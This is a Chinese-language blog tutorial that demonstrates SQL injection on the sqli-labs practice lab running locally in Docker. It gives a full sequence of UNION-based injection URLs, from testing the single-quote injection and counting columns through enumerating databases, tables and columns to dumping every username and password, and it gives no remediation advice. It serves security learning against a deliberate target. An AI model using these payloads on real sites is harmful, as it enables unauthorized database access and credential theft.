写点什么

每个互联网人才都应该知道的 SQL 注入!

作者:喀拉峻
  • 2022 年 4 月 07 日
  • 本文字数:1983 字

    阅读完需:约 7 分钟

我们都是善良的银!一生戎码只为行侠仗义,知道这个不是为了做啥非法的事,只是知道小偷怎么偷东西才能更好地防范。

SQL 注入(SQL Injection),SQL 注入即是指 web 应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在 web 应用程序中事先定义好的查询语句的结尾上添加额外的 SQL 语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

下面我们用 sqli-labs 这个开源项目来演示一下 SQL 注入盗取信息的全程。 sqli-labs 是一个 sql 注入的练习靶机,项目地址为:/sqli-labs

源码是用 php 写的,这里我使用的是 docker 部署的,如下 这里我是去 store.docker.com 搜索的镜像使用:https://hub.docker.com/r/acgpiano/sqli-labs,我们运行一下

docker run -dt --name sqli-lab -p 8089:80 acgpiano/sqli-labs:latest
复制代码

运行后打开http://127.0.0.1:8089/,界面如下 



这是一个闯关的课程,一个有 22 课,接下来我们只会用到 Less-1 来演示,也就是单引号注入,但是核心原理其实都是通过 UNIONt 和 CONCAT 出对应的数据盗取信息。

更多技巧可以参考这篇文章:SQL注入篇——sqli-labs最详细1-75闯关指南

打开:http://127.0.0.1:8089/Less-1/,看到如下内容 


我们输入 id:http://127.0.0.1:8089/Less-1/?id=1,显示了id为1的用户 


对应的 php 源码是这样的:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
复制代码

相当于最后 sql 变成了

SELECT * FROM users WHERE id='1' LIMIT 0,1
复制代码

知其然也知其所以然,欧耶~

数据库结构

数据库是这样的 



注入示例

下面使用 Less-1 的单引号注入来演示一下盗取信息的过程

我们把 id 改成:id=1' and 1=1 -- -,访问

http://127.0.0.1:8089/Less-1/?id=1' and 1=1 -- -
复制代码

可以正常访问,说明可以用单引号注入,SQL 语句相当于变成了

SELECT * FROM users WHERE id='1' and 1=1 -- ' LIMIT 0,1
复制代码

这就是传说中的单引号注入,相当于构造出了下面这样的语句 


surprise! 500G 网络安全学习资料,👉戳此免费获取

判断共有多少字段

UNION SELECT 1,user(),database()­­ -- -
复制代码

通过 orderby 试探,order by 是可以直接指定字段的列来排序的,所以可以挨个试, 比如当我们使用 order by 5,访问

http://127.0.0.1:8089/Less-1/?id=1' order by 5 -- -
复制代码

报错了,说明不对 


当我们用 order by 3 的时候,正常返回了,访问地址:

http://127.0.0.1:8089/Less-1/?id=1' order by 3 -- -
复制代码

正常返回了,说明字段有 3 个。

判断字段的显示位置

UNION SELECT 1,2,3 -- -
复制代码

我们构造一下,访问

http://127.0.0.1:8089/Less-1/?id='UNION SELECT 1,2,3 -- -
复制代码


 分别显示 2 和 3,说明登录名和密码字段在 2 和 3 的位置

显示登录用户和数据库名

UNION SELECT 1,(SELECT group_concat(table_name) FROM information_schema.tables where table_schema = 'security' ),3 -- -
复制代码

已经匹配出了字段,接下来的所有用户信息都需要经过 UNION 相等的列来获取,访问

http://127.0.0.1:8089/Less-1/?id='  UNION SELECT 1,database(),user() -- -
复制代码



我们看到当前使用的数据库名叫 security,连接的用户是 root 超管

查看所有数据库名

UNION SELECT 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)-- -
复制代码

访问

http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)-- -
复制代码



其实原理就是构造出了这样的语句 

 我们看到了数据库有 information_schema、challenges、mysql、performance_schema、security

查看数据库的所有表名

UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security') -- -
复制代码

访问

http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security') -- -
复制代码

访问如下 

 我们看到有 emails、referers、uagents、users 这四个表

查看表的所有字段

UNION SELECT 1,(SELECT group_concat(column_name) FROM information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
复制代码

访问

http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,(SELECT group_concat(column_name) FROM information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
复制代码



可以看到用 id、username、password3 个字段

查看所有的用户密码

UNION SELECT 1,(SELECT group_concat(concat_ws(0x7e,username,password))FROM users),3 -- -
复制代码

访问

http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,(SELECT group_concat(concat_ws(0x7e,username,password)) FROM users),3 -- -
复制代码

用户名和密码全出来了,厉害了我的哥! 


到这里,我们就学会了怎么把对方所有的隐私 load 出来了,有点可怕啊!你学会了吗!以上内容由 chenqionghe 提供,light weight baby!

用户头像

喀拉峻

关注

左手Java右手Python,中间纹个C++ 2021.06.26 加入

还未添加个人简介

评论

发布
暂无评论
每个互联网人才都应该知道的SQL注入!_网络安全_喀拉峻_InfoQ写作平台